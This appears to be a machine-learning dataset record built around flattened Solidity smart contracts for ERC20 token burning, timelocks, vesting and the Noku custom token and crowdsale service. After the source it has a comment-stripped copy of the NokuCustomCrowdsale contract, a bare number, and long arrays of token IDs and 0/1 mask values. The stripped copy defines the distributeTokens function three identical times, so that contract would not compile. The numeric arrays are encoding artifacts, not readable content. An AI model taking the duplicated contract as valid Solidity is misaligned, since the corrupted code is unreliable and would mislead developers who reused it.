amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/token/ERC20/TokenTimelock.sol /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { // solium-disable-next-line security/no-block-members require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solium-disable-next-line security/no-block-members require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } // File: openzeppelin-solidity/contracts/token/ERC20/TokenVesting.sol /* solium-disable security/no-block-members */ pragma solidity ^0.4.23; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _start the time (as Unix time) at which point vesting starts * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); emit Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); emit Revoked(); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } // File: contracts/NokuCustomERC20.sol /** * @dev The NokuCustomERC20Token contract is a custom ERC20-compliant token available in the Noku Service Platform (NSP). * The Noku customer is able to choose the token name, symbol, decimals, initial supply and to administer its lifecycle * by minting or burning tokens in order to increase or decrease the token supply. */ contract NokuCustomERC20 is NokuCustomToken, DetailedERC20, MintableToken, BurnableToken { using SafeMath for uint256; event LogNokuCustomERC20Created( address indexed caller, string indexed name, string indexed symbol, uint8 decimals, uint256 transferableFromBlock, uint256 lockEndBlock, address pricingPlan, address serviceProvider ); event LogMintingFeeEnabledChanged(address indexed caller, bool indexed mintingFeeEnabled); event LogInformationChanged(address indexed caller, string name, string symbol); event LogTransferFeePaymentFinished(address indexed caller); event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage); // Flag indicating if minting fees are enabled or disabled bool public mintingFeeEnabled; // Block number from which tokens are initially transferable uint256 public transferableFromBlock; // Block number from which initial lock ends uint256 public lockEndBlock; // The initially locked balances by address mapping (address => uint256) public initiallyLockedBalanceOf; // The fee percentage for Custom Token transfer or zero if transfer is free of charge uint256 public transferFeePercentage; // Flag indicating if fee payment in Custom Token transfer has been permanently finished or not. bool public transferFeePaymentFinished; // Address of optional Timelock smart contract, otherwise 0x0 TokenTimelock public timelock; // Address of optional Vesting smart contract, otherwise 0x0 TokenVesting public vesting; bytes32 public constant BURN_SERVICE_NAME = "NokuCustomERC20.burn"; bytes32 public constant MINT_SERVICE_NAME = "NokuCustomERC20.mint"; bytes32 public constant TIMELOCK_SERVICE_NAME = "NokuCustomERC20.timelock"; bytes32 public constant VESTING_SERVICE_NAME = "NokuCustomERC20.vesting"; modifier canTransfer(address _from, uint _value) { require(block.number >= transferableFromBlock, "token not transferable"); if (block.number < lockEndBlock) { uint256 locked = lockedBalanceOf(_from); if (locked > 0) { uint256 newBalance = balanceOf(_from).sub(_value); require(newBalance >= locked, "_value exceeds locked amount"); } } _; } constructor( string _name, string _symbol, uint8 _decimals, uint256 _transferableFromBlock, uint256 _lockEndBlock, address _pricingPlan, address _serviceProvider ) NokuCustomToken(_pricingPlan, _serviceProvider) DetailedERC20(_name, _symbol, _decimals) public { require(bytes(_name).length > 0, "_name is empty"); require(bytes(_symbol).length > 0, "_symbol is empty"); require(_lockEndBlock >= _transferableFromBlock, "_lockEndBlock lower than _transferableFromBlock"); transferableFromBlock = _transferableFromBlock; lockEndBlock = _lockEndBlock; mintingFeeEnabled = true; emit LogNokuCustomERC20Created( msg.sender, _name, _symbol, _decimals, _transferableFromBlock, _lockEndBlock, _pricingPlan, _serviceProvider ); } function setMintingFeeEnabled(bool _mintingFeeEnabled) public onlyOwner returns(bool successful) { require(_mintingFeeEnabled != mintingFeeEnabled, "_mintingFeeEnabled == mintingFeeEnabled"); mintingFeeEnabled = _mintingFeeEnabled; emit LogMintingFeeEnabledChanged(msg.sender, _mintingFeeEnabled); return true; } /** * @dev Change the Custom Token detailed information after creation. * @param _name The name to assign to the Custom Token. * @param _symbol The symbol to assign to the Custom Token. */ function setInformation(string _name, string _symbol) public onlyOwner returns(bool successful) { require(bytes(_name).length > 0, "_name is empty"); require(bytes(_symbol).length > 0, "_symbol is empty"); name = _name; symbol = _symbol; emit LogInformationChanged(msg.sender, _name, _symbol); return true; } /** * @dev Stop trasfer fee payment for tokens. * @return true if the operation was successful. */ function finishTransferFeePayment() public onlyOwner returns(bool finished) { require(!transferFeePaymentFinished, "transfer fee finished"); transferFeePaymentFinished = true; emit LogTransferFeePaymentFinished(msg.sender); return true; } /** * @dev Change the transfer fee percentage to be paid in Custom tokens. * @param _transferFeePercentage The fee percentage to be paid for transfer in range [0, 100]. */ function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner { require(0 <= _transferFeePercentage && _transferFeePercentage <= 100, "_transferFeePercentage not in [0, 100]"); require(_transferFeePercentage != transferFeePercentage, "_transferFeePercentage equal to current value"); transferFeePercentage = _transferFeePercentage; emit LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage); } function lockedBalanceOf(address _to) public view returns(uint256 locked) { uint256 initiallyLocked = initiallyLockedBalanceOf[_to]; if (block.number >= lockEndBlock) return 0; else if (block.number <= transferableFromBlock) return initiallyLocked; uint256 releaseForBlock = initiallyLocked.div(lockEndBlock.sub(transferableFromBlock)); uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock); return initiallyLocked.sub(released); } /** * @dev Get the fee to be paid for the transfer of NOKU tokens. * @param _value The amount of NOKU tokens to be transferred. */ function transferFee(uint256 _value) public view returns(uint256 usageFee) { return _value.mul(transferFeePercentage).div(100); } /** * @dev Check if token transfer is free of any charge or not. * @return true if transfer is free of any charge. */ function freeTransfer() public view returns (bool isTransferFree) { return transferFeePaymentFinished || transferFeePercentage == 0; } /** * @dev Override #transfer for optionally paying fee to Custom token owner. */ function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transfer(_to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transfer(owner, usageFee); bool netValueTransferred = super.transfer(_to, netValue); return feeTransferred && netValueTransferred; } } /** * @dev Override #transferFrom for optionally paying fee to Custom token owner. */ function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transferFrom(_from, _to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transferFrom(_from, owner, usageFee); bool netValueTransferred = super.transferFrom(_from, _to, netValue); return feeTransferred && netValueTransferred; } } /** * @dev Burn a specific amount of tokens, paying the service fee. * @param _amount The amount of token to be burned. */ function burn(uint256 _amount) public canBurn { require(_amount > 0, "_amount is zero"); super.burn(_amount); require(pricingPlan.payFee(BURN_SERVICE_NAME, _amount, msg.sender), "burn fee failed"); } /** * @dev Mint a specific amount of tokens, paying the service fee. * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { require(_to != 0, "_to is zero"); require(_amount > 0, "_amount is zero"); super.mint(_to, _amount); if (mintingFeeEnabled) { require(pricingPlan.payFee(MINT_SERVICE_NAME, _amount, msg.sender), "mint fee failed"); } return true; } /** * @dev Mint new locked tokens, which will unlock progressively. * @param _to The address that will receieve the minted locked tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { initiallyLockedBalanceOf[_to] = initiallyLockedBalanceOf[_to].add(_amount); return mint(_to, _amount); } /** * @dev Mint the specified amount of timelocked tokens. * @param _to The address that will receieve the minted locked tokens. * @param _amount The amount of tokens to mint. * @param _releaseTime The token release time as timestamp from Unix epoch. * @return A boolean that indicates if the operation was successful. */ function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public onlyOwner canMint returns(bool minted) { require(timelock == address(0), "TokenTimelock already activated"); timelock = new TokenTimelock(this, _to, _releaseTime); minted = mint(timelock, _amount); require(pricingPlan.payFee(TIMELOCK_SERVICE_NAME, _amount, msg.sender), "timelock fee failed"); } /** * @dev Mint the specified amount of vested tokens. * @param _to The address that will receieve the minted vested tokens. * @param _amount The amount of tokens to mint. * @param _startTime When the vesting starts as timestamp in seconds from Unix epoch. * @param _duration The duration in seconds of the period in which the tokens will vest. * @return A boolean that indicates if the operation was successful. */ function mintVested(address _to, uint256 _amount, uint256 _startTime, uint256 _duration) public onlyOwner canMint returns(bool minted) { require(vesting == address(0), "TokenVesting already activated"); vesting = new TokenVesting(_to, _startTime, 0, _duration, true); minted = mint(vesting, _amount); require(pricingPlan.payFee(VESTING_SERVICE_NAME, _amount, msg.sender), "vesting fee failed"); } /** * @dev Release vested tokens to the beneficiary. Anyone can release vested tokens. * @return A boolean that indicates if the operation was successful. */ function releaseVested() public returns(bool released) { require(vesting != address(0), "TokenVesting not activated"); vesting.release(this); return true; } /** * @dev Revoke vested tokens. Just the token can revoke because it is the vesting owner. * @return A boolean that indicates if the operation was successful. */ function revokeVested() public onlyOwner returns(bool revoked) { require(vesting != address(0), "TokenVesting not activated"); vesting.revoke(this); return true; } } // File: contracts/TokenCappedCrowdsale.sol /** * @title CappedCrowdsale * @dev Extension of Crowsdale with a max amount of funds raised */ contract TokenCappedCrowdsale is Crowdsale { using SafeMath for uint256; // The maximum token cap, should be initialized in derived contract uint256 public tokenCap; // Overriding Crowdsale#hasEnded to add tokenCap logic // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { bool capReached = soldTokens >= tokenCap; return super.hasEnded() || capReached; } // Overriding Crowdsale#isValidPurchase to add extra cap logic // @return true if investors can buy at the moment function isValidPurchase(address beneficiary) internal view returns (bool isValid) { uint256 tokenAmount = calculateTokens(msg.value); bool withinCap = soldTokens.add(tokenAmount) <= tokenCap; return withinCap && super.isValidPurchase(beneficiary); } } // File: contracts/NokuCustomCrowdsale.sol /** * @title NokuCustomCrowdsale * @dev Extension of TokenCappedCrowdsale using values specific for Noku Custom ICO crowdsale */ contract NokuCustomCrowdsale is TokenCappedCrowdsale { using AddressUtils for address; using SafeMath for uint256; event LogNokuCustomCrowdsaleCreated( address sender, uint256 indexed startBlock, uint256 indexed endBlock, address indexed wallet ); event LogThreePowerAgesChanged( address indexed sender, uint256 indexed platinumAgeEndBlock, uint256 indexed goldenAgeEndBlock, uint256 silverAgeEndBlock, uint256 platinumAgeRate, uint256 goldenAgeRate, uint256 silverAgeRate ); event LogTwoPowerAgesChanged( address indexed sender, uint256 indexed platinumAgeEndBlock, uint256 indexed goldenAgeEndBlock, uint256 platinumAgeRate, uint256 goldenAgeRate ); event LogOnePowerAgeChanged(address indexed sender, uint256 indexed platinumAgeEndBlock, uint256 indexed platinumAgeRate); // The end block of the 'platinum' age interval uint256 public platinumAgeEndBlock; // The end block of the 'golden' age interval uint256 public goldenAgeEndBlock; // The end block of the 'silver' age interval uint256 public silverAgeEndBlock; // The conversion rate of the 'platinum' age uint256 public platinumAgeRate; // The conversion rate of the 'golden' age uint256 public goldenAgeRate; // The conversion rate of the 'silver' age uint256 public silverAgeRate; // The wallet address or contract address public wallet; constructor( uint256 _startBlock, uint256 _endBlock, uint256 _rate, uint256 _minDeposit, uint256 _maxWhitelistLength, uint256 _whitelistThreshold, address _token, uint256 _tokenMaximumSupply, address _wallet ) Crowdsale( _startBlock, _endBlock, _rate, _minDeposit, _maxWhitelistLength, _whitelistThreshold ) public { require(_token.isContract(), "_token is not contract"); require(_tokenMaximumSupply > 0, "_tokenMaximumSupply is zero"); platinumAgeRate = _rate; goldenAgeRate = _rate; silverAgeRate = _rate; token = NokuCustomERC20(_token); wallet = _wallet; // Assume predefined token supply has been minted and calculate the maximum number of tokens that can be sold tokenCap = _tokenMaximumSupply.sub(token.totalSupply()); emit LogNokuCustomCrowdsaleCreated(msg.sender, startBlock, endBlock, _wallet); } function setThreePowerAges( uint256 _platinumAgeEndBlock, uint256 _goldenAgeEndBlock, uint256 _silverAgeEndBlock, uint256 _platinumAgeRate, uint256 _goldenAgeRate, uint256 _silverAgeRate ) external onlyOwner beforeStart { require(startBlock < _platinumAgeEndBlock, "_platinumAgeEndBlock not greater than start block"); require(_platinumAgeEndBlock < _goldenAgeEndBlock, "_platinumAgeEndBlock not lower than _goldenAgeEndBlock"); require(_goldenAgeEndBlock < _silverAgeEndBlock, "_silverAgeEndBlock not greater than _goldenAgeEndBlock"); require(_silverAgeEndBlock <= endBlock, "_silverAgeEndBlock greater than end block"); require(_platinumAgeRate > _goldenAgeRate, "_platinumAgeRate not greater than _goldenAgeRate"); require(_goldenAgeRate > _silverAgeRate, "_goldenAgeRate not greater than _silverAgeRate"); require(_silverAgeRate > rate, "_silverAgeRate not greater than nominal rate"); platinumAgeEndBlock = _platinumAgeEndBlock; goldenAgeEndBlock = _goldenAgeEndBlock; silverAgeEndBlock = _silverAgeEndBlock; platinumAgeRate = _platinumAgeRate; goldenAgeRate = _goldenAgeRate; silverAgeRate = _silverAgeRate; emit LogThreePowerAgesChanged( msg.sender, _platinumAgeEndBlock, _goldenAgeEndBlock, _silverAgeEndBlock, _platinumAgeRate, _goldenAgeRate, _silverAgeRate ); } function setTwoPowerAges( uint256 _platinumAgeEndBlock, uint256 _goldenAgeEndBlock, uint256 _platinumAgeRate, uint256 _goldenAgeRate ) external onlyOwner beforeStart { require(startBlock < _platinumAgeEndBlock, "_platinumAgeEndBlock not greater than start block"); require(_platinumAgeEndBlock < _goldenAgeEndBlock, "_platinumAgeEndBlock not lower than _goldenAgeEndBlock"); require(_goldenAgeEndBlock <= endBlock, "_goldenAgeEndBlock greater than end block"); require(_platinumAgeRate > _goldenAgeRate, "_platinumAgeRate not greater than _goldenAgeRate"); require(_goldenAgeRate > rate, "_goldenAgeRate not greater than nominal rate"); platinumAgeEndBlock = _platinumAgeEndBlock; goldenAgeEndBlock = _goldenAgeEndBlock; platinumAgeRate = _platinumAgeRate; goldenAgeRate = _goldenAgeRate; silverAgeRate = rate; emit LogTwoPowerAgesChanged( msg.sender, _platinumAgeEndBlock, _goldenAgeEndBlock, _platinumAgeRate, _goldenAgeRate ); } function setOnePowerAge(uint256 _platinumAgeEndBlock, uint256 _platinumAgeRate) external onlyOwner beforeStart { require(startBlock < _platinumAgeEndBlock, "_platinumAgeEndBlock not greater than start block"); require(_platinumAgeEndBlock <= endBlock, "_platinumAgeEndBlock greater than end block"); require(_platinumAgeRate > rate, "_platinumAgeRate not greater than nominal rate"); platinumAgeEndBlock = _platinumAgeEndBlock; platinumAgeRate = _platinumAgeRate; goldenAgeRate = rate; silverAgeRate = rate; emit LogOnePowerAgeChanged(msg.sender, _platinumAgeEndBlock, _platinumAgeRate); } function grantTokenOwnership(address _client) external onlyOwner returns(bool granted) { require(!_client.isContract(), "_client is contract"); require(hasEnded(), "crowdsale not ended yet"); // Transfer NokuCustomERC20 ownership back to the client token.transferOwnership(_client); return true; } // Overriding Crowdsale#calculateTokens to apply age discounts to token calculus. function calculateTokens(uint256 amount) internal view returns(uint256 tokenAmount) { uint256 conversionRate = block.number <= platinumAgeEndBlock ? platinumAgeRate : block.number <= goldenAgeEndBlock ? goldenAgeRate : block.number <= silverAgeEndBlock ? silverAgeRate : rate; return amount.mul(conversionRate); } /** * @dev Overriding Crowdsale#distributeTokens to apply age rules to token distributions. */ function distributeTokens(address beneficiary, uint256 tokenAmount) internal { if (block.number <= platinumAgeEndBlock) { NokuCustomERC20(token).mintLocked(beneficiary, tokenAmount); } else { super.distributeTokens(beneficiary, tokenAmount); } } /** * @dev Overriding Crowdsale#forwardFunds to split net/fee payment. */ function forwardFunds(uint256 amount) internal { wallet.transfer(amount); } } // File: contracts/NokuCustomService.sol contract NokuCustomService is Pausable { using AddressUtils for address; event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); // The pricing plan determining the fee to be paid in NOKU tokens by customers NokuPricingPlan public pricingPlan; constructor(address _pricingPlan) internal { require(_pricingPlan.isContract(), "_pricingPlan is not contract"); pricingPlan = NokuPricingPlan(_pricingPlan); } function setPricingPlan(address _pricingPlan) public onlyOwner { require(_pricingPlan.isContract(), "_pricingPlan is not contract"); require(NokuPricingPlan(_pricingPlan) != pricingPlan, "_pricingPlan equal to current"); pricingPlan = NokuPricingPlan(_pricingPlan); emit LogPricingPlanChanged(msg.sender, _pricingPlan); } } // File: contracts/NokuCustomCrowdsaleService.sol /** * @title NokuCustomCrowdsaleService * @dev Extension of NokuCustomService adding the fee payment in NOKU tokens. */ contract NokuCustomCrowdsaleService is NokuCustomService { event LogNokuCustomCrowdsaleServiceCreated(address indexed caller); bytes32 public constant SERVICE_NAME = "NokuCustomERC20.crowdsale"; uint256 public constant CREATE_AMOUNT = 1 * 10**18; constructor(address _pricingPlan) NokuCustomService(_pricingPlan) public { emit LogNokuCustomCrowdsaleServiceCreated(msg.sender); } function createCustomCrowdsale( uint256 _startBlock, uint256 _endBlock, uint256 _rate, uint256 _minDeposit, uint256 _maxWhitelistLength, uint256 _whitelistThreshold, address _token, uint256 _tokenMaximumSupply, address _wallet ) public returns(NokuCustomCrowdsale customCrowdsale) { customCrowdsale = new NokuCustomCrowdsale( _startBlock, _endBlock, _rate, _minDeposit, _maxWhitelistLength, _whitelistThreshold, _token, _tokenMaximumSupply, _wallet ); // Transfer NokuCustomCrowdsale ownership to the client customCrowdsale.transferOwnership(msg.sender); require(pricingPlan.payFee(SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed"); } }
* @title NokuCustomCrowdsale @dev Extension of TokenCappedCrowdsale using values specific for Noku Custom ICO crowdsale/ The end block of the 'platinum' age interval The end block of the 'golden' age interval The end block of the 'silver' age interval The conversion rate of the 'platinum' age The conversion rate of the 'golden' age The conversion rate of the 'silver' age The wallet address or contract
contract NokuCustomCrowdsale is TokenCappedCrowdsale { using AddressUtils for address; using SafeMath for uint256; event LogNokuCustomCrowdsaleCreated( address sender, uint256 indexed startBlock, uint256 indexed endBlock, address indexed wallet ); event LogThreePowerAgesChanged( address indexed sender, uint256 indexed platinumAgeEndBlock, uint256 indexed goldenAgeEndBlock, uint256 silverAgeEndBlock, uint256 platinumAgeRate, uint256 goldenAgeRate, uint256 silverAgeRate ); event LogTwoPowerAgesChanged( address indexed sender, uint256 indexed platinumAgeEndBlock, uint256 indexed goldenAgeEndBlock, uint256 platinumAgeRate, uint256 goldenAgeRate ); event LogOnePowerAgeChanged(address indexed sender, uint256 indexed platinumAgeEndBlock, uint256 indexed platinumAgeRate); uint256 public platinumAgeEndBlock; uint256 public goldenAgeEndBlock; uint256 public silverAgeEndBlock; uint256 public platinumAgeRate; uint256 public goldenAgeRate; uint256 public silverAgeRate; address public wallet; constructor( uint256 _startBlock, uint256 _endBlock, uint256 _rate, uint256 _minDeposit, uint256 _maxWhitelistLength, uint256 _whitelistThreshold, address _token, uint256 _tokenMaximumSupply, address _wallet ) Crowdsale( _startBlock, _endBlock, _rate, _minDeposit, _maxWhitelistLength, _whitelistThreshold ) public { require(_token.isContract(), "_token is not contract"); require(_tokenMaximumSupply > 0, "_tokenMaximumSupply is zero"); platinumAgeRate = _rate; goldenAgeRate = _rate; silverAgeRate = _rate; token = NokuCustomERC20(_token); wallet = _wallet; tokenCap = _tokenMaximumSupply.sub(token.totalSupply()); emit LogNokuCustomCrowdsaleCreated(msg.sender, startBlock, endBlock, _wallet); } function setThreePowerAges( uint256 _platinumAgeEndBlock, uint256 _goldenAgeEndBlock, uint256 _silverAgeEndBlock, uint256 _platinumAgeRate, uint256 _goldenAgeRate, uint256 _silverAgeRate ) external onlyOwner beforeStart { require(startBlock < _platinumAgeEndBlock, "_platinumAgeEndBlock not greater than start block"); require(_platinumAgeEndBlock < _goldenAgeEndBlock, "_platinumAgeEndBlock not lower than _goldenAgeEndBlock"); require(_goldenAgeEndBlock < _silverAgeEndBlock, "_silverAgeEndBlock not greater than _goldenAgeEndBlock"); require(_silverAgeEndBlock <= endBlock, "_silverAgeEndBlock greater than end block"); require(_platinumAgeRate > _goldenAgeRate, "_platinumAgeRate not greater than _goldenAgeRate"); require(_goldenAgeRate > _silverAgeRate, "_goldenAgeRate not greater than _silverAgeRate"); require(_silverAgeRate > rate, "_silverAgeRate not greater than nominal rate"); platinumAgeEndBlock = _platinumAgeEndBlock; goldenAgeEndBlock = _goldenAgeEndBlock; silverAgeEndBlock = _silverAgeEndBlock; platinumAgeRate = _platinumAgeRate; goldenAgeRate = _goldenAgeRate; silverAgeRate = _silverAgeRate; emit LogThreePowerAgesChanged( msg.sender, _platinumAgeEndBlock, _goldenAgeEndBlock, _silverAgeEndBlock, _platinumAgeRate, _goldenAgeRate, _silverAgeRate ); } function setTwoPowerAges( uint256 _platinumAgeEndBlock, uint256 _goldenAgeEndBlock, uint256 _platinumAgeRate, uint256 _goldenAgeRate ) external onlyOwner beforeStart { require(startBlock < _platinumAgeEndBlock, "_platinumAgeEndBlock not greater than start block"); require(_platinumAgeEndBlock < _goldenAgeEndBlock, "_platinumAgeEndBlock not lower than _goldenAgeEndBlock"); require(_goldenAgeEndBlock <= endBlock, "_goldenAgeEndBlock greater than end block"); require(_platinumAgeRate > _goldenAgeRate, "_platinumAgeRate not greater than _goldenAgeRate"); require(_goldenAgeRate > rate, "_goldenAgeRate not greater than nominal rate"); platinumAgeEndBlock = _platinumAgeEndBlock; goldenAgeEndBlock = _goldenAgeEndBlock; platinumAgeRate = _platinumAgeRate; goldenAgeRate = _goldenAgeRate; silverAgeRate = rate; emit LogTwoPowerAgesChanged( msg.sender, _platinumAgeEndBlock, _goldenAgeEndBlock, _platinumAgeRate, _goldenAgeRate ); } function setOnePowerAge(uint256 _platinumAgeEndBlock, uint256 _platinumAgeRate) external onlyOwner beforeStart { require(startBlock < _platinumAgeEndBlock, "_platinumAgeEndBlock not greater than start block"); require(_platinumAgeEndBlock <= endBlock, "_platinumAgeEndBlock greater than end block"); require(_platinumAgeRate > rate, "_platinumAgeRate not greater than nominal rate"); platinumAgeEndBlock = _platinumAgeEndBlock; platinumAgeRate = _platinumAgeRate; goldenAgeRate = rate; silverAgeRate = rate; emit LogOnePowerAgeChanged(msg.sender, _platinumAgeEndBlock, _platinumAgeRate); } function grantTokenOwnership(address _client) external onlyOwner returns(bool granted) { require(!_client.isContract(), "_client is contract"); require(hasEnded(), "crowdsale not ended yet"); token.transferOwnership(_client); return true; } function calculateTokens(uint256 amount) internal view returns(uint256 tokenAmount) { uint256 conversionRate = block.number <= platinumAgeEndBlock ? platinumAgeRate : block.number <= goldenAgeEndBlock ? goldenAgeRate : block.number <= silverAgeEndBlock ? silverAgeRate : rate; return amount.mul(conversionRate); } function distributeTokens(address beneficiary, uint256 tokenAmount) internal { if (block.number <= platinumAgeEndBlock) { NokuCustomERC20(token).mintLocked(beneficiary, tokenAmount); } else { super.distributeTokens(beneficiary, tokenAmount); } } function distributeTokens(address beneficiary, uint256 tokenAmount) internal { if (block.number <= platinumAgeEndBlock) { NokuCustomERC20(token).mintLocked(beneficiary, tokenAmount); } else { super.distributeTokens(beneficiary, tokenAmount); } } function distributeTokens(address beneficiary, uint256 tokenAmount) internal { if (block.number <= platinumAgeEndBlock) { NokuCustomERC20(token).mintLocked(beneficiary, tokenAmount); } else { super.distributeTokens(beneficiary, tokenAmount); } } function forwardFunds(uint256 amount) internal { wallet.transfer(amount); } }
5,824,791
[ 1, 50, 20924, 3802, 39, 492, 2377, 5349, 225, 10021, 434, 3155, 4664, 1845, 39, 492, 2377, 5349, 1450, 924, 2923, 364, 423, 20924, 6082, 467, 3865, 276, 492, 2377, 5349, 19, 1021, 679, 1203, 434, 326, 296, 412, 270, 267, 379, 11, 9388, 3673, 1021, 679, 1203, 434, 326, 296, 75, 1673, 275, 11, 9388, 3673, 1021, 679, 1203, 434, 326, 296, 25119, 502, 11, 9388, 3673, 1021, 4105, 4993, 434, 326, 296, 412, 270, 267, 379, 11, 9388, 1021, 4105, 4993, 434, 326, 296, 75, 1673, 275, 11, 9388, 1021, 4105, 4993, 434, 326, 296, 25119, 502, 11, 9388, 1021, 9230, 1758, 578, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
